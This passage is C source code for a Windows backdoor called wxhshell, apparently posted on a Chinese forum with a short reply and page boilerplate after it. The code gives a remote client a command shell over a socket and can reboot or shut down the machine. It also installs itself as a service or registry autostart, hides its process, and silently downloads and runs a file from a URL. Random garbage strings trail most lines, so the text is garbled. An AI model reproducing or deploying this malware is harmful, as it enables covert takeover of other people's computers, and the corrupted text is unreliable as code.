  else B4m34)EOE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =PjdL3 2  
  } 'q8:1i9\[  
  else { pm=s  
UK@hnQU8`  
    switch(cmd[0]) { EW]8k@&g  
  6Ol)SQE,  
  // 帮助 !@+4&B=  
  case '?': { ~_-+Q=3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {K/xI  
    break; i5*/ZA_  
  } !g~u'r'1  
  // 安装 #Wv8+&n  
  case 'i': { uBM%E OE  
    if(Install()) 4QNwu7TeR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4!'4 l=jO  
    else kO/;lrwC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AVc|(~V  
    break; /" &Jf}r  
    } \C1`F [d_  
  // 卸载 V`feUFw3  
  case 'r': { a'my0m  
    if(Uninstall()) Q b5vyV `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $KGRpI  
    else MP Q?Q]'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L N'})CI8m  
    break; WO+>W+|N  
    } (|y@ ftr@  
  // 显示 wxhshell 所在路径 `n e9&+  
  case 'p': { /9-kG  
    char svExeFile[MAX_PATH]; DPl&e-`  
    strcpy(svExeFile,"\n\r"); _]+ \ B  
      strcat(svExeFile,ExeFile); *zX^Sg-[  
        send(wsh,svExeFile,strlen(svExeFile),0); jH9.N4L  
    break; ]XfROhgP=  
    } R}OjSiS\  
  // 重启 w~e$ul(IQM  
  case 'b': { 6ZGw 3p)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5@i(pVWZ  
    if(Boot(REBOOT)) ~c>]kL(,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C7 9~@%T  
    else { Rd1I$| Y  
    closesocket(wsh); {8~xFYc:  
    ExitThread(0); !OR %AdxB  
    } 0'`#I  
    break; nh"LdHqiDB  
    } %#lJn.o  
  // 关机 F @Wb<+0  
  case 'd': { {w9GMqq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3 k)P*ME#  
    if(Boot(SHUTDOWN)) KKwJ=za  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~\7peH%  
    else { zids2/_*  
    closesocket(wsh); U {s T %G  
    ExitThread(0); lhFv2.qR  
    } FWpb5jc)3  
    break; 6 &MATMR  
    } W -5wjc  
  // 获取shell R%r<AL5kJk  
  case 's': { ItQ3|-^  
    CmdShell(wsh); B%Z,Xjq  
    closesocket(wsh); H3BMN}K~  
    ExitThread(0); 9M .cTIO{  
    break; &8Oy*'  
  } XZpF<7l  
  // 退出 9,A HC2kn%  
  case 'x': { 8lT2qqlr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,N2|P:x  
    CloseIt(wsh); >iWw i'T=  
    break; d@<~u,Mt&F  
    } _R|8_#yM  
  // 离开 h%%dRi  
  case 'q': { Ap%tm)@1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @-jI<g  
    closesocket(wsh); 1\if XJ  
    WSACleanup(); P%kJq^&  
    exit(1); sfEy  
    break; rp,PhS  
        } .h>tef  
  } 7?~*F7F  
  } 4-\gha  
vsCy?  
  // 提示信息 &UoQ8&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;rJ/Diz!g  
} ZS?4<lXF  
  } +Zi@+|"BCN  
|),3`*N  
  return; pU5t,  
} /m+\oZ ]d  
WB>M7MI%  
// shell模块句柄 ^CQVqa${]  
int CmdShell(SOCKET sock) c *]6>50  
{ sT%^W  
STARTUPINFO si; oi/bp#(fa  
ZeroMemory(&si,sizeof(si)); ADVHi3b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uz; pNWMk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SXm Hn.?  
PROCESS_INFORMATION ProcessInfo; '?v-o)X  
char cmdline[]="cmd"; R"k}wRnxY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SRpPLY{:F  
  return 0; -JB~yO?0  
} a?X{k|;!7u  
V|zatMHs  
// 自身启动模式 I'T@}{h  
int StartFromService(void) u MM?s?q  
{ "A%JT3  
typedef struct 4"y1M=he  
{ `q(eB=6;[  
  DWORD ExitStatus; -c'~0g]<  
  DWORD PebBaseAddress; y6 _,U/9  
  DWORD AffinityMask; Nh/B8:035  
  DWORD BasePriority; "yc_*R(pU  
  ULONG UniqueProcessId; CLX!qw]@ +  
  ULONG InheritedFromUniqueProcessId; >ay% !X@3"  
}   PROCESS_BASIC_INFORMATION; K\vyfYi  
Z{J{6j  
PROCNTQSIP NtQueryInformationProcess; M?zwXmTVW0  
]W>kbH Imz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9 54O=9PQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dw e$, 9  
\4pWHE/  
  HANDLE             hProcess; 2<' 1m{  
  PROCESS_BASIC_INFORMATION pbi; BD (  
@ wJ|vW_.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j_2yTz"G-  
  if(NULL == hInst ) return 0; zd+<1R;  
| ?])]F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CHX- 4-84{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 982n G-"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R#i{eE*WF  
\z>L,U  
  if (!NtQueryInformationProcess) return 0; ,"Nfo`7  
ag\xwS#i5H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NU?05sF  
  if(!hProcess) return 0; 12MWO_'g8  
MehMhHY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wnoL<p  
@z1Yj"^Pm  
  CloseHandle(hProcess); gu~F(Fb'  
v*k}{M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h1'j1uI  
if(hProcess==NULL) return 0; BVk&TGa;[$  
/MUa b*h  
HMODULE hMod; vuE 1(CR  
char procName[255]; U4hFPK<  
unsigned long cbNeeded; %Vp'^,&S  
pN ^^U[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pAd 8-a  
Xitsb f=Gg  
  CloseHandle(hProcess); u= u#6%  
^dF?MQA<@  
if(strstr(procName,"services")) return 1; // 以服务启动 CHPu$eu  
C VyE5w  
  return 0; // 注册表启动 OLS.0UEc  
} [Q5>4WY  
tEXY>=  
// 主模块 Ckc4U. t|  
int StartWxhshell(LPSTR lpCmdLine) AvS<b3EoN  
{ #nOS7Q#uW  
  SOCKET wsl; }pzUHl>  
BOOL val=TRUE; =5jng.  
  int port=0; lQSKY}h  
  struct sockaddr_in door; )LP=IT  
$ 3/G)/A  
  if(wscfg.ws_autoins) Install(); Vo2{aK;  
 ;Iu}Q-b*  
port=atoi(lpCmdLine); hH|moj]  
..g?po  
if(port<=0) port=wscfg.ws_port; ,xeJf6es  
]a}K%D)H  
  WSADATA data; hkhk,bhI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O-D${==  
YA vOV-L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mrgieb%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KkJK5dZo  
  door.sin_family = AF_INET; dO{a!Ca  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); quPNwNy  
  door.sin_port = htons(port); GYq.!d@O  
Qg\{d)X[N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SQ_w~'(  
closesocket(wsl); l6wN&JHTh  
return 1; uGxh}'&  
}  gh{Z=_  
*/ ~_3  
  if(listen(wsl,2) == INVALID_SOCKET) { vCB0 x:/  
closesocket(wsl); NQx`u"=  
return 1; n7r )wy  
} bvK fxAih  
  Wxhshell(wsl); d 1 8>0R  
  WSACleanup(); };z[x2l^  
&u@<0 1=  
return 0; I|27%i  
TNHkHR[&  
} iksd^\]f  
AP8YY8,  
// 以NT服务方式启动 (rM-~h6g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }?0At<(d  
{ tTzPT<  
DWORD   status = 0; =/J{>S>(i  
  DWORD   specificError = 0xfffffff; CSC sJE#4  
*}hx9:9\B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; srbU}u3VZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iIe\mV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1+f>tv  
  serviceStatus.dwWin32ExitCode     = 0; +NH#t} .  
  serviceStatus.dwServiceSpecificExitCode = 0; tS2Orzc>,  
  serviceStatus.dwCheckPoint       = 0; ;ORT#7CU  
  serviceStatus.dwWaitHint       = 0; Ch~2w)HAA  
iAOm[=W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9HjtWQn  
  if (hServiceStatusHandle==0) return; Z+qTMm  
7NY9UQ  
status = GetLastError(); _|!FhZ  
  if (status!=NO_ERROR) jgfl|;I?pg  
{ w*E0f?s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q>,EYb>wI  
    serviceStatus.dwCheckPoint       = 0; nsRZy0@$t  
    serviceStatus.dwWaitHint       = 0; ws tH&^  
    serviceStatus.dwWin32ExitCode     = status; O$2= Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; Oc|`<^m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `H:5D5]  
    return; _Py/,Ks.q  
  } ?G48GxJ  
#fy#G}c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?-y!FD}m&  
  serviceStatus.dwCheckPoint       = 0; 9 2e?v8  
  serviceStatus.dwWaitHint       = 0; mkR1iY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w;RG*rv  
} \sUk71L` j  
5L'bF2SI  
// 处理NT服务事件,比如:启动、停止 mr`Lxy9e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x2^Yvgc-  
{ Guc~] B  
switch(fdwControl) 3( Y#*f|  
{ *5\k1-$  
case SERVICE_CONTROL_STOP: z2Pnni7Ys  
  serviceStatus.dwWin32ExitCode = 0; y}'c)u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %,l+?fF  
  serviceStatus.dwCheckPoint   = 0; &s +DK `  
  serviceStatus.dwWaitHint     = 0; <rO0t9OH  
  { qB`-[A9HPe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KNkVI K  
  } `YZK$ -,  
  return; TTJFF\$?  
case SERVICE_CONTROL_PAUSE: m_ |:tU(t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (#dwIBBFt  
  break; _o 2pyV&  
case SERVICE_CONTROL_CONTINUE: kiW|h)w_,v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]/o0p  
  break; MQ9Nn|4  
case SERVICE_CONTROL_INTERROGATE: t3~ZGOn  
  break; bD&^-& G  
}; Qj?qWVapA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^* xhbM;  
} I$#B#w?!$r  
0X`sQNx  
// 标准应用程序主函数 }\9elVt'2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "kE$2Kg  
{ 3Ishe"  
+}XFkH~  
// 获取操作系统版本 Ddf7wszW  
OsIsNt=GetOsVer(); [a\U8 w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vS! TnmF  
:V(+]<  
  // 从命令行安装 7rc6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4QK~qAi  
986y\9Zu  
  // 下载执行文件 P4M*vZq)  
if(wscfg.ws_downexe) { 3$.R=MQ7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [r_YQ*+ej  
  WinExec(wscfg.ws_filenam,SW_HIDE); k *a?Ey$  
} e~Oge  
D!K){ E  
if(!OsIsNt) { h)W?8XdM  
// 如果时win9x,隐藏进程并且设置为注册表启动 (XQBBt  
HideProc(); [hLSK-K 9  
StartWxhshell(lpCmdLine); BCw5.@HK*  
} x1gfo!BN  
else n/ \{}9   
  if(StartFromService()) ,qx;kJJ  
  // 以服务方式启动 B,@<60u  
  StartServiceCtrlDispatcher(DispatchTable); _TB,2 R  
else ;*3OkNxa3  
  // 普通方式启动 l5> H\  
  StartWxhshell(lpCmdLine); JGJXV3AT  
=F(fum;zH  
return 0; tWs ]Zd  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八